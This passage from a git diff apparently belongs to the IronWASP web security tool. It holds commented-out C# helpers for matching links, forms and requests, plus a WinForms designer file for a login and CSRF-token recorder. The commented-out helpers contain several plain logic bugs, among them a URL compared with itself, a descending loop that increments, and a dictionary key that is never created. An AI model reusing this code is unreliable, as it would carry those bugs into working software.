+ if (!LinkReq1Values.Contains(Value)) + { + ParamMismatchCount++; + if (ParamMismatchCount > 1) return false; + } + } + } + } + } + } + return false; + } + + Dictionary>> OrderLinkNodes(List LinkNodes) + { + Dictionary>> OrderedLinkNodes = new Dictionary>>(){ + {"id", new Dictionary>()}, + {"name", new Dictionary>()}, + {"text", new Dictionary>()}, + {"attrs", new Dictionary>()}, + {"other", new Dictionary>()}, + }; + List AddedIds = new List(); + + //Check for unique id + for (int i=0; i < LinkNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = LinkNodes[i]; + if (Node.Attributes["id"] != null) + { + if(!OrderedLinkNodes["id"].ContainsKey(Node.Attributes["id"].Value)) + { + OrderedLinkNodes["id"][Node.Attributes["id"].Value] = new List(); + } + OrderedLinkNodes["id"][Node.Attributes["id"].Value].Add(Node); + AddedIds.Add(i); + } + } + + //Check for unique name + for (int i = 0; i < LinkNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = LinkNodes[i]; + if (Node.Attributes["name"] != null) + { + if (!OrderedLinkNodes["name"].ContainsKey(Node.Attributes["name"].Value)) + { + OrderedLinkNodes["name"][Node.Attributes["name"].Value] = new List(); + } + OrderedLinkNodes["name"][Node.Attributes["name"].Value].Add(Node); + AddedIds.Add(i); + } + } + + //Check for unique link text + for (int i = 0; i < LinkNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = LinkNodes[i]; + if (Node.InnerText.Trim().Length > 0) + { + if (!OrderedLinkNodes["text"].ContainsKey(Node.InnerText.Trim())) + { + OrderedLinkNodes["name"][Node.InnerText.Trim()] = new List(); + } + OrderedLinkNodes["name"][Node.InnerText.Trim()].Add(Node); + AddedIds.Add(i); + } + } + + //Check for unique attr names and count + for (int i = 0; i < LinkNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = LinkNodes[i]; + if (Node.Attributes.Count > 0) + { + string AttrStr = GetAttributeNameString(Node.Attributes); + if (!OrderedLinkNodes["attrs"].ContainsKey(AttrStr)) + { + OrderedLinkNodes["attrs"][AttrStr] = new List(); + } + OrderedLinkNodes["attrs"][AttrStr].Add(Node); + AddedIds.Add(i); + } + } + + //Add the rest + for (int i = 0; i < LinkNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = LinkNodes[i]; + + if (!OrderedLinkNodes["other"].ContainsKey("other")) + { + OrderedLinkNodes["other"]["other"] = new List(); + } + OrderedLinkNodes["other"]["other"].Add(Node); + AddedIds.Add(i); + } + return OrderedLinkNodes; + } + + Dictionary>> OrderFormNodes(List FormNodes) + { + Dictionary>> OrderedFormNodes = new Dictionary>>(){ + {"id", new Dictionary>()}, + {"name", new Dictionary>()}, + {"fields", new Dictionary>()}, + {"text", new Dictionary>()}, + {"other", new Dictionary>()}, + }; + List AddedIds = new List(); + + //Check for unique id + for (int i = 0; i < FormNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = FormNodes[i]; + if (Node.Attributes["id"] != null) + { + if (!OrderedFormNodes["id"].ContainsKey(Node.Attributes["id"].Value)) + { + OrderedFormNodes["id"][Node.Attributes["id"].Value] = new List(); + } + OrderedFormNodes["id"][Node.Attributes["id"].Value].Add(Node); + AddedIds.Add(i); + } + } + + //Check for unique name + for (int i = 0; i < FormNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = FormNodes[i]; + if (Node.Attributes["name"] != null) + { + if (!OrderedFormNodes["name"].ContainsKey(Node.Attributes["name"].Value)) + { + OrderedFormNodes["name"][Node.Attributes["name"].Value] = new List(); + } + OrderedFormNodes["name"][Node.Attributes["name"].Value].Add(Node); + AddedIds.Add(i); + } + } + + //Check for unique attr names and count + for (int i = 0; i < FormNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = FormNodes[i]; + if (Node.Attributes.Count > 0) + { + string AttrStr = GetAttributeNameString(Node.Attributes); + if (!OrderedFormNodes["attrs"].ContainsKey(AttrStr)) + { + OrderedFormNodes["attrs"][AttrStr] = new List(); + } + OrderedFormNodes["attrs"][AttrStr].Add(Node); + AddedIds.Add(i); + } + } + + //Add the rest + for (int i = 0; i < FormNodes.Count; i++) + { + if (AddedIds.Contains(i)) continue; + HtmlAgilityPack.HtmlNode Node = FormNodes[i]; + + if (!OrderedFormNodes["other"].ContainsKey("other")) + { + OrderedFormNodes["other"]["other"] = new List(); + } + OrderedFormNodes["other"]["other"].Add(Node); + AddedIds.Add(i); + } + return OrderedFormNodes; + } + + + public static Request GetBestMatchingUrl(Request RefReq, List Requests) + { + //Get the Request from the list that best matches the reference request + //Returns null if no satisfactory match is found + + foreach (Request Req in Requests) + { + if (Req.FullUrl.Equals(Req.FullUrl)) return Req; + } + + if (RefReq.Query.Count > 0) + { + Dictionary> QueryMatches = new Dictionary>(); + foreach (Request Req in Requests) + { + if (Req.Host.Equals(RefReq.Host, StringComparison.OrdinalIgnoreCase) && Req.Ssl == RefReq.Ssl && Req.UrlPath.Equals(RefReq.UrlPath, StringComparison.OrdinalIgnoreCase)) + { + if (Req.Query.Count == RefReq.Query.Count) + { + bool NameMatch = true; + int ValMatchCount = 0; + + List RefNames = RefReq.Query.GetNames(); + foreach (string Name in Req.Query.GetNames()) + { + if (!RefNames.Contains(Name)) + { + NameMatch = false; + continue; + } + List RefValues = RefReq.Query.GetAll(Name); + foreach (string Val in Req.Query.GetAll(Name)) + { + if (RefValues.Contains(Val)) + { + ValMatchCount++; + } + } + } + if (NameMatch) + { + if (!QueryMatches.ContainsKey(ValMatchCount)) + { + QueryMatches[ValMatchCount] = new List(); + } + QueryMatches[ValMatchCount].Add(Req); + } + } + } + } + if (QueryMatches.Count > 0) + { + List Scores = new List(QueryMatches.Keys); + Scores.Sort(); + return QueryMatches[Scores[Scores.Count - 1]][0];//return the request which has the highest match + } + } + else + { + Dictionary> UrlPathPartMatches = new Dictionary>(); + + foreach (Request Req in Requests) + { + int MatchCount = 0; + if (Req.Host.Equals(RefReq.Host, StringComparison.OrdinalIgnoreCase) && Req.Ssl == RefReq.Ssl) + { + if (Req.UrlPathParts.Count == RefReq.UrlPathParts.Count) + { + bool PartsMatchSuceeded = true; + for (int i = Req.UrlPathParts.Count-1; i >= 0; i++) + { + if (Req.UrlPathParts[i].Equals(RefReq.UrlPathParts[i])) + { + MatchCount++; + } + else + { + //If any url path part other than the last one mismatches then ignore the request + if (i < Req.UrlPathParts.Count - 1) + { + PartsMatchSuceeded = true; + break; + } + } + } + if (PartsMatchSuceeded) + { + if (!UrlPathPartMatches.ContainsKey(MatchCount)) + { + UrlPathPartMatches[MatchCount] = new List(); + } + UrlPathPartMatches[MatchCount].Add(Req); + } + } + } + } + if (UrlPathPartMatches.Count > 0) + { + List Scores = new List(UrlPathPartMatches.Keys); + Scores.Sort(); + return UrlPathPartMatches[Scores[Scores.Count - 1]][0];//return the request which has the highest match + } + } + return null; + } + + string GetAttributeNameString(HtmlAgilityPack.HtmlAttributeCollection Attributes) + { + List Names = new List(); + foreach (HtmlAgilityPack.HtmlAttribute Attr in Attributes) + { + Names.Add(Attr.Name); + } + Names.Sort(); + StringBuilder SB = new StringBuilder(); + SB.Append(Names.Count); SB.Append("||"); + foreach (string Name in Names) + { + SB.Append(Name); SB.Append("||"); + } + return SB.ToString(); + } + } + */ +} diff --git a/Iron/Recording/Recorder.Designer.cs b/Iron/Recording/Recorder.Designer.cs new file mode 100644 index 0000000..9392753 --- /dev/null +++ b/Iron/Recording/Recorder.Designer.cs @@ -0,0 +1,550 @@ +namespace IronWASP.Recording +{ + partial class Recorder + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Recorder)); + this.FirstTextboxLbl = new System.Windows.Forms.Label(); + this.ConfigureStepPasswordTB = new System.Windows.Forms.TextBox(); + this.ConfigureStepUsernameTB = new System.Windows.Forms.TextBox(); + this.InstructionLbl = new System.Windows.Forms.Label(); + this.TopMsgLbl = new System.Windows.Forms.Label(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.ConfigureStepCsrfTokenTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.ConfigureStepSubmitBtn = new System.Windows.Forms.Button(); + this.ConfigureStepErrorLbl = new System.Windows.Forms.Label(); + this.SecondTextboxLbl = new System.Windows.Forms.Label(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.RecordStepStatusHeaderLbl = new System.Windows.Forms.Label(); + this.RecordStepCsrfStatusLbl = new System.Windows.Forms.Label(); + this.RecordStepLoginStatusLbl = new System.Windows.Forms.Label(); + this.RecordStepCancelBtn = new System.Windows.Forms.Button(); + this.RecordStepStartBtn = new System.Windows.Forms.Button(); + this.RecordStepCsrfInstructionLbl = new System.Windows.Forms.Label(); + this.RecordStepLoginInstructionLbl = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.TestStepWaitMoreBtn = new System.Windows.Forms.Button(); + this.TestStepDontWaitBtn = new System.Windows.Forms.Button(); + this.TestStepRetryLL = new System.Windows.Forms.LinkLabel(); + this.TestStepStatusTB = new System.Windows.Forms.TextBox(); + this.TestStepHeaderLbl = new System.Windows.Forms.Label(); + this.TestStepCancelBtn = new System.Windows.Forms.Button(); + this.TestStepProgressBar = new System.Windows.Forms.ProgressBar(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.SaveStepConfirmationMsbLbl = new System.Windows.Forms.Label(); + this.SaveStepErrorLbl = new System.Windows.Forms.Label(); + this.SaveStepSaveLL = new System.Windows.Forms.LinkLabel(); + this.SaveStepNameTB = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.SaveRecordingDialog = new System.Windows.Forms.SaveFileDialog(); + this.BaseTabs.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.SuspendLayout(); + // + // FirstTextboxLbl + // + this.FirstTextboxLbl.AutoSize = true; + this.FirstTextboxLbl.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(128)))), ((int)(((byte)(64)))), ((int)(((byte)(0))))); + this.FirstTextboxLbl.Location = new System.Drawing.Point(15, 36); + this.FirstTextboxLbl.Name = "FirstTextboxLbl"; + this.FirstTextboxLbl.Size = new System.Drawing.Size(258, 13); + this.FirstTextboxLbl.TabIndex = 2; + this.FirstTextboxLbl.Text = "Enter the value of the username to be used for Login:"; + // + // ConfigureStepPasswordTB + // + this.ConfigureStepPasswordTB.Location = new System.Drawing.Point(314, 59); + this.ConfigureStepPasswordTB.Name = "ConfigureStepPasswordTB"; + this.ConfigureStepPasswordTB.Size = new System.Drawing.Size(254, 20); + this.ConfigureStepPasswordTB.TabIndex = 17; + // + // ConfigureStepUsernameTB + // + this.ConfigureStepUsernameTB.Location = new System.Drawing.Point(314, 33); + this.ConfigureStepUsernameTB.Name = "ConfigureStepUsernameTB"; + this.ConfigureStepUsernameTB.Size = new System.Drawing.Size(254, 20); + this.ConfigureStepUsernameTB.TabIndex = 16; + // + // InstructionLbl + // + this.InstructionLbl.AutoSize = true; + this.InstructionLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.InstructionLbl.ForeColor = System.Drawing.Color.Black; + this.InstructionLbl.Location = new System.Drawing.Point(5, 4); + this.InstructionLbl.Name = "InstructionLbl"; + this.InstructionLbl.Size = new System.Drawing.Size(341, 17); + this.InstructionLbl.TabIndex = 4; + this.InstructionLbl.Text = "Enter the requested details below to configure the recorder:"; + // + // TopMsgLbl + // + this.TopMsgLbl.AutoSize = true; + this.TopMsgLbl.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.TopMsgLbl.Location = new System.Drawing.Point(16, 127); + this.TopMsgLbl.Name = "TopMsgLbl"; + this.TopMsgLbl.Size = new System.Drawing.Size(360, 13); + this.TopMsgLbl.TabIndex = 3; + this.TopMsgLbl.Text = "NOTE: If you don\'t want to handle CSRF tokens then leave this field blank."; + // + // BaseTabs + // + this.BaseTabs.Controls.Add(this.tabPage1); + this.BaseTabs.Controls.Add(this.tabPage2); + this.BaseTabs.Controls.Add(this.tabPage3); + this.BaseTabs.Controls.Add(this.tabPage4); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(584, 211); + this.BaseTabs.TabIndex = 21; + this.BaseTabs.Selected += new System.Windows.Forms.TabControlEventHandler(this.BaseTabs_Selected); + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.ConfigureStepCsrfTokenTB); + this.tabPage1.Controls.Add(this.TopMsgLbl); + this.tabPage1.Controls.Add(this.label1); + this.tabPage1.Controls.Add(this.ConfigureStepSubmitBtn); + this.tabPage1.Controls.Add(this.ConfigureStepPasswordTB); + this.tabPage1.Controls.Add(this.ConfigureStepErrorLbl); + this.tabPage1.Controls.Add(this.SecondTextboxLbl); + this.tabPage1.Controls.Add(this.ConfigureStepUsernameTB); + this.tabPage1.Controls.Add(this.FirstTextboxLbl); + this.tabPage1.Controls.Add(this.InstructionLbl); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Margin = new System.Windows.Forms.Padding(0); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Size = new System.Drawing.Size(576, 185); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Step 1 - Configure "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // ConfigureStepCsrfTokenTB + // + this.ConfigureStepCsrfTokenTB.Location = new System.Drawing.Point(314, 100); + this.ConfigureStepCsrfTokenTB.Name = "ConfigureStepCsrfTokenTB"; + this.ConfigureStepCsrfTokenTB.Size = new System.Drawing.Size(254, 20); + this.ConfigureStepCsrfTokenTB.TabIndex = 21; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.Olive; + this.label1.Location = new System.Drawing.Point(15, 103); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(296, 13); + this.label1.TabIndex = 22; + this.label1.Text = "Enter the name of the Parameter with CSRF protection token:"; + // + // ConfigureStepSubmitBtn + // + this.ConfigureStepSubmitBtn.Location = new System.Drawing.Point(417, 153); + this.ConfigureStepSubmitBtn.Name = "ConfigureStepSubmitBtn"; + this.ConfigureStepSubmitBtn.Size = new System.Drawing.Size(151, 23); + this.ConfigureStepSubmitBtn.TabIndex = 14; + this.ConfigureStepSubmitBtn.Text = "Submit Values"; + this.ConfigureStepSubmitBtn.UseVisualStyleBackColor = true; + this.ConfigureStepSubmitBtn.Click += new System.EventHandler(this.ConfigureStepSubmitBtn_Click); + // + // ConfigureStepErrorLbl + // + this.ConfigureStepErrorLbl.AutoSize = true; + this.ConfigureStepErrorLbl.ForeColor = System.Drawing.Color.Red; + this.ConfigureStepErrorLbl.Location = new System.Drawing.Point(19, 158); + this.ConfigureStepErrorLbl.Name = "ConfigureStepErrorLbl"; + this.ConfigureStepErrorLbl.Size = new System.Drawing.Size(51, 13); + this.ConfigureStepErrorLbl.TabIndex = 20; + this.ConfigureStepErrorLbl.Text = "Error msg"; + this.ConfigureStepErrorLbl.Visible = false; + // + // SecondTextboxLbl + // + this.SecondTextboxLbl.AutoSize = true; + this.SecondTextboxLbl.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(128)))), ((int)(((byte)(64)))), ((int)(((byte)(0))))); + this.SecondTextboxLbl.Location = new System.Drawing.Point(15, 58); + this.SecondTextboxLbl.Name = "SecondTextboxLbl"; + this.SecondTextboxLbl.Size = new System.Drawing.Size(254, 13); + this.SecondTextboxLbl.TabIndex = 19; + this.SecondTextboxLbl.Text = "Enter the value of the Password to be used for login:"; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.RecordStepStatusHeaderLbl); + this.tabPage2.Controls.Add(this.RecordStepCsrfStatusLbl); + this.tabPage2.Controls.Add(this.RecordStepLoginStatusLbl); + this.tabPage2.Controls.Add(this.RecordStepCancelBtn); + this.tabPage2.Controls.Add(this.RecordStepStartBtn); + this.tabPage2.Controls.Add(this.RecordStepCsrfInstructionLbl); + this.tabPage2.Controls.Add(this.RecordStepLoginInstructionLbl); + this.tabPage2.Controls.Add(this.label3); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Margin = new System.Windows.Forms.Padding(0); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Size = new System.Drawing.Size(576, 185); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Step 2 - Record "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // RecordStepStatusHeaderLbl + // + this.RecordStepStatusHeaderLbl.AutoSize = true; + this.RecordStepStatusHeaderLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.RecordStepStatusHeaderLbl.ForeColor = System.Drawing.Color.Black; + this.RecordStepStatusHeaderLbl.Location = new System.Drawing.Point(4, 119); + this.RecordStepStatusHeaderLbl.Name = "RecordStepStatusHeaderLbl"; + this.RecordStepStatusHeaderLbl.Size = new System.Drawing.Size(382, 17); + this.RecordStepStatusHeaderLbl.TabIndex = 20; + this.RecordStepStatusHeaderLbl.Text = "Recording will be completed when the following conditions are met:"; + // + // RecordStepCsrfStatusLbl + // + this.RecordStepCsrfStatusLbl.AutoSize = true; + this.RecordStepCsrfStatusLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.RecordStepCsrfStatusLbl.ForeColor = System.Drawing.Color.Red; + this.RecordStepCsrfStatusLbl.Location = new System.Drawing.Point(13, 159); + this.RecordStepCsrfStatusLbl.Name = "RecordStepCsrfStatusLbl"; + this.RecordStepCsrfStatusLbl.Size = new System.Drawing.Size(413, 17); + this.RecordStepCsrfStatusLbl.TabIndex = 19; + this.RecordStepCsrfStatusLbl.Text = "- Looking for page containing CSRF token parameter in hidden input field"; + // + // RecordStepLoginStatusLbl + // + this.RecordStepLoginStatusLbl.AutoSize = true; + this.RecordStepLoginStatusLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.RecordStepLoginStatusLbl.ForeColor = System.Drawing.Color.Red; + this.RecordStepLoginStatusLbl.Location = new System.Drawing.Point(13, 140); + this.RecordStepLoginStatusLbl.Name = "RecordStepLoginStatusLbl"; + this.RecordStepLoginStatusLbl.Size = new System.Drawing.Size(368, 17); + this.RecordStepLoginStatusLbl.TabIndex = 18; + this.RecordStepLoginStatusLbl.Text = "- Looking for request with specified login credentials in recording"; + // + // RecordStepCancelBtn + // + this.RecordStepCancelBtn.Location = new System.Drawing.Point(472, 156); + this.RecordStepCancelBtn.Name = "RecordStepCancelBtn"; + this.RecordStepCancelBtn.Size = new System.Drawing.Size(97, 23); + this.RecordStepCancelBtn.TabIndex = 16; + this.RecordStepCancelBtn.Text = "Cancel"; + this.RecordStepCancelBtn.UseVisualStyleBackColor = true; + this.RecordStepCancelBtn.Click += new System.EventHandler(this.RecordStepCancelBtn_Click); + // + // RecordStepStartBtn + // + this.RecordStepStartBtn.Location = new System.Drawing.Point(11, 24); + this.RecordStepStartBtn.Name = "RecordStepStartBtn"; + this.RecordStepStartBtn.Size = new System.Drawing.Size(127, 23); + this.RecordStepStartBtn.TabIndex = 15; + this.RecordStepStartBtn.Text = "Start Recording"; + this.RecordStepStartBtn.UseVisualStyleBackColor = true; + this.RecordStepStartBtn.Click += new System.EventHandler(this.RecordStepStartBtn_Click); + // + // RecordStepCsrfInstructionLbl + // + this.RecordStepCsrfInstructionLbl.AutoSize = true; + this.RecordStepCsrfInstructionLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.RecordStepCsrfInstructionLbl.ForeColor = System.Drawing.Color.Navy; + this.RecordStepCsrfInstructionLbl.Location = new System.Drawing.Point(12, 73); + this.RecordStepCsrfInstructionLbl.Name = "RecordStepCsrfInstructionLbl"; + this.RecordStepCsrfInstructionLbl.Size = new System.Drawing.Size(551, 17); + this.RecordStepCsrfInstructionLbl.TabIndex = 8; + this.RecordStepCsrfInstructionLbl.Text = "- And then browse to a page that contains the CSRF token parameter value as a hid" + + "den input field"; + // + // RecordStepLoginInstructionLbl + // + this.RecordStepLoginInstructionLbl.AutoSize = true; + this.RecordStepLoginInstructionLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.RecordStepLoginInstructionLbl.ForeColor = System.Drawing.Color.Navy; + this.RecordStepLoginInstructionLbl.Location = new System.Drawing.Point(12, 55); + this.RecordStepLoginInstructionLbl.Name = "RecordStepLoginInstructionLbl"; + this.RecordStepLoginInstructionLbl.Size = new System.Drawing.Size(438, 17); + this.RecordStepLoginInstructionLbl.TabIndex = 7; + this.RecordStepLoginInstructionLbl.Text = "- Now login to the application using the credentials given in the previous step."; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.ForeColor = System.Drawing.Color.Black; + this.label3.Location = new System.Drawing.Point(4, 4); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(564, 17); + this.label3.TabIndex = 6; + this.label3.Text = "Open browser, go to blank page, clear all cookies, set IronWASP as proxy and clic" + + "k \'Start Recording\'"; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.TestStepWaitMoreBtn); + this.tabPage3.Controls.Add(this.TestStepDontWaitBtn); + this.tabPage3.Controls.Add(this.TestStepRetryLL); + this.tabPage3.Controls.Add(this.TestStepStatusTB); + this.tabPage3.Controls.Add(this.TestStepHeaderLbl); + this.tabPage3.Controls.Add(this.TestStepCancelBtn); + this.tabPage3.Controls.Add(this.TestStepProgressBar); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Margin = new System.Windows.Forms.Padding(0); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(576, 185); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Step 3 - Test "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // TestStepWaitMoreBtn + // + this.TestStepWaitMoreBtn.Location = new System.Drawing.Point(250, 35); + this.TestStepWaitMoreBtn.Name = "TestStepWaitMoreBtn"; + this.TestStepWaitMoreBtn.Size = new System.Drawing.Size(209, 23); + this.TestStepWaitMoreBtn.TabIndex = 23; + this.TestStepWaitMoreBtn.Text = "Still loading. Wait for 5 Seconds more "; + this.TestStepWaitMoreBtn.UseVisualStyleBackColor = true; + this.TestStepWaitMoreBtn.Click += new System.EventHandler(this.TestStepWaitMoreBtn_Click); + // + // TestStepDontWaitBtn + // + this.TestStepDontWaitBtn.Location = new System.Drawing.Point(20, 35); + this.TestStepDontWaitBtn.Name = "TestStepDontWaitBtn"; + this.TestStepDontWaitBtn.Size = new System.Drawing.Size(199, 23); + this.TestStepDontWaitBtn.TabIndex = 22; + this.TestStepDontWaitBtn.Text = "Don\'t wait. Page has fully loaded"; + this.TestStepDontWaitBtn.UseVisualStyleBackColor = true; + this.TestStepDontWaitBtn.Click += new System.EventHandler(this.TestStepDontWaitBtn_Click); + // + // TestStepRetryLL + // + this.TestStepRetryLL.AutoSize = true; + this.TestStepRetryLL.Location = new System.Drawing.Point(14, 167); + this.TestStepRetryLL.Name = "TestStepRetryLL"; + this.TestStepRetryLL.Size = new System.Drawing.Size(32, 13); + this.TestStepRetryLL.TabIndex = 21; + this.TestStepRetryLL.TabStop = true; + this.TestStepRetryLL.Text = "Retry"; + this.TestStepRetryLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.TestStepRetryLL_LinkClicked); + // + // TestStepStatusTB + // + this.TestStepStatusTB.BackColor = System.Drawing.SystemColors.Window; + this.TestStepStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.TestStepStatusTB.ForeColor = System.Drawing.Color.Red; + this.TestStepStatusTB.Location = new System.Drawing.Point(8, 107); + this.TestStepStatusTB.Multiline = true; + this.TestStepStatusTB.Name = "TestStepStatusTB"; + this.TestStepStatusTB.ReadOnly = true; + this.TestStepStatusTB.Size = new System.Drawing.Size(560, 48); + this.TestStepStatusTB.TabIndex = 19; + // + // TestStepHeaderLbl + // + this.TestStepHeaderLbl.AutoSize = true; + this.TestStepHeaderLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.TestStepHeaderLbl.ForeColor = System.Drawing.Color.Black; + this.TestStepHeaderLbl.Location = new System.Drawing.Point(5, 5); + this.TestStepHeaderLbl.Name = "TestStepHeaderLbl"; + this.TestStepHeaderLbl.Size = new System.Drawing.Size(568, 17); + this.TestStepHeaderLbl.TabIndex = 18; + this.TestStepHeaderLbl.Text = "Waiting for 5 seconds to let the current page finish loading in the browser incas" + + "e it is not fully loaded."; + // + // TestStepCancelBtn + // + this.TestStepCancelBtn.Location = new System.Drawing.Point(471, 159); + this.TestStepCancelBtn.Name = "TestStepCancelBtn"; + this.TestStepCancelBtn.Size = new System.Drawing.Size(97, 23); + this.TestStepCancelBtn.TabIndex = 17; + this.TestStepCancelBtn.Text = "Cancel"; + this.TestStepCancelBtn.UseVisualStyleBackColor = true; + this.TestStepCancelBtn.Click += new System.EventHandler(this.TestStepCancelBtn_Click); + // + // TestStepProgressBar + // + this.TestStepProgressBar.Location = new System.Drawing.Point(20, 74); + this.TestStepProgressBar.Name = "TestStepProgressBar"; + this.TestStepProgressBar.Size = new System.Drawing.Size(536, 23); + this.TestStepProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.TestStepProgressBar.TabIndex = 0; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.SaveStepConfirmationMsbLbl); + this.tabPage4.Controls.Add(this.SaveStepErrorLbl); + this.tabPage4.Controls.Add(this.SaveStepSaveLL); + this.tabPage4.Controls.Add(this.SaveStepNameTB); + this.tabPage4.Controls.Add(this.label5); + this.tabPage4.Controls.Add(this.label6); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Margin = new System.Windows.Forms.Padding(0); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(576, 185); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = " Step 4 - Save "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // SaveStepConfirmationMsbLbl + // + this.SaveStepConfirmationMsbLbl.AutoSize = true; + this.SaveStepConfirmationMsbLbl.Font = new System.Drawing.Font("Palatino Linotype", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.SaveStepConfirmationMsbLbl.ForeColor = System.Drawing.Color.Green; + this.SaveStepConfirmationMsbLbl.Location = new System.Drawing.Point(4, 104); + this.SaveStepConfirmationMsbLbl.Name = "SaveStepConfirmationMsbLbl"; + this.SaveStepConfirmationMsbLbl.Size = new System.Drawing.Size(81, 17); + this.SaveStepConfirmationMsbLbl.TabIndex = 22; + this.SaveStepConfirmationMsbLbl.Text = "Confirm msg"; + // + // SaveStepErrorLbl + // + this.SaveStepErrorLbl.AutoSize = true; + this.SaveStepErrorLbl.ForeColor = System.Drawing.Color.Red; + this.SaveStepErrorLbl.Location = new System.Drawing.Point(8, 82); + this.SaveStepErrorLbl.Name = "SaveStepErrorLbl"; + this.SaveStepErrorLbl.Size = new System.Drawing.Size(51, 13); + this.SaveStepErrorLbl.TabIndex = 21; + this.SaveStepErrorLbl.Text = "Error msg"; + this.SaveStepErrorLbl.Visible = false; + // + // SaveStepSaveLL + // + this.SaveStepSaveLL.AutoSize = true; + this.SaveStepSaveLL.Location = new System.Drawing.Point(476, 43); + this.SaveStepSaveLL.Name = "SaveStepSaveLL"; + this.SaveStepSaveLL.Size = new System.Drawing.Size(32, 13); + this.SaveStepSaveLL.TabIndex = 20; + this.SaveStepSaveLL.TabStop = true; + this.SaveStepSaveLL.Text = "Save"; + this.SaveStepSaveLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveStepSaveLL_LinkClicked); + // + // SaveStepNameTB + // + this.SaveStepNameTB.Location = new 